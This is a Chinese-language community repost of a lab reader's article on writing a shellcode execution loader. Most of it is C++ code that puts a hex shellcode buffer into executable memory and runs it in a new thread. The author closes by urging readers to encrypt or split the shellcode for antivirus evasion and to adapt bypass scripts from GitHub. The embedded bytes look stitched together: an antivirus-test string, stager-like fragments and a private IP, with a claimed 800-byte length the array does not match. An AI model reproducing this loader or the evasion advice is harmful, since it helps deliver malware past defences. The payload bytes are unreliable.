前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >投稿 | 初始Shellcode之Shellcode执行工具编写思路

投稿 | 初始Shellcode之Shellcode执行工具编写思路

作者头像
Ms08067安全实验室
发布2021-04-23 10:30:36
7050
发布2021-04-23 10:30:36
举报

文章来源|MS08067 公众号读者投稿

本文作者:Arks7(Ms08067实验室读者)

这是一段C++ 加载器的代码,代码来之倾旋大佬的博客,先看大佬给的注释。

代码语言:javascript
复制
#include





// 入口函数

int wmain(int argc,TCHAR * argv[]){



    int shellcode_size = 0; // shellcode长度

    DWORD dwThreadId; // 线程ID

    HANDLE hThread; // 线程句柄

/* length: 800 bytes */



unsigned char buf[] = "\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x30\x2e\x31\x32\x38\x00\x00\x00\x00\x00";



// 获取shellcode大小

shellcode_size = sizeof(buf);



/*

VirtualAlloc(

    NULL, // 基址

    800,  // 大小

    MEM_COMMIT, // 内存页状态

    PAGE_EXECUTE_READWRITE // 可读可写可执行

    );

*/



char * shellcode = (char *)VirtualAlloc(

    NULL,

    shellcode_size,

    MEM_COMMIT,

    PAGE_EXECUTE_READWRITE

    );

    // 将shellcode复制到可执行的内存页中

CopyMemory(shellcode,buf,shellcode_size);



hThread = CreateThread(

    NULL, // 安全描述符

    NULL, // 栈的大小

    (LPTHREAD_START_ROUTINE)shellcode, // 函数

    NULL, // 参数

    NULL, // 线程标志

    &dwThreadId // 线程ID

    );



WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束

    return 0;

}

从大佬的注释就可以很明确的看出来使用VirtualAlloc函数申请内存,然后使用CopyMemory将shellcode复制到目标内存中,CreateThread创建一个新的线程。

VirtualAlloc百度的解释:

VirtualAlloc是一个WindowsAPI函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。简单点的意思就是申请内存空间。

这里我来用易语言复现一下这个过程,易语言比较时候刚接触的人理解吧。

这里Shellcode 需要转换为字节集才可以在易语言上面运行

OK,成功运行,也就说明我们的思路是没有问题的。

加载器的思路没有问题,那么我们就可以对shellcode 进行加密免杀或者分离免杀。

明确了思路,那么Github 搜索 各位师傅们的吊炸天的Bypass 脚本,自己拿来修改一下,那么就是又一个屌炸天的Bypass。

文章可能简单,但主要是讲解思路....

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-04-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档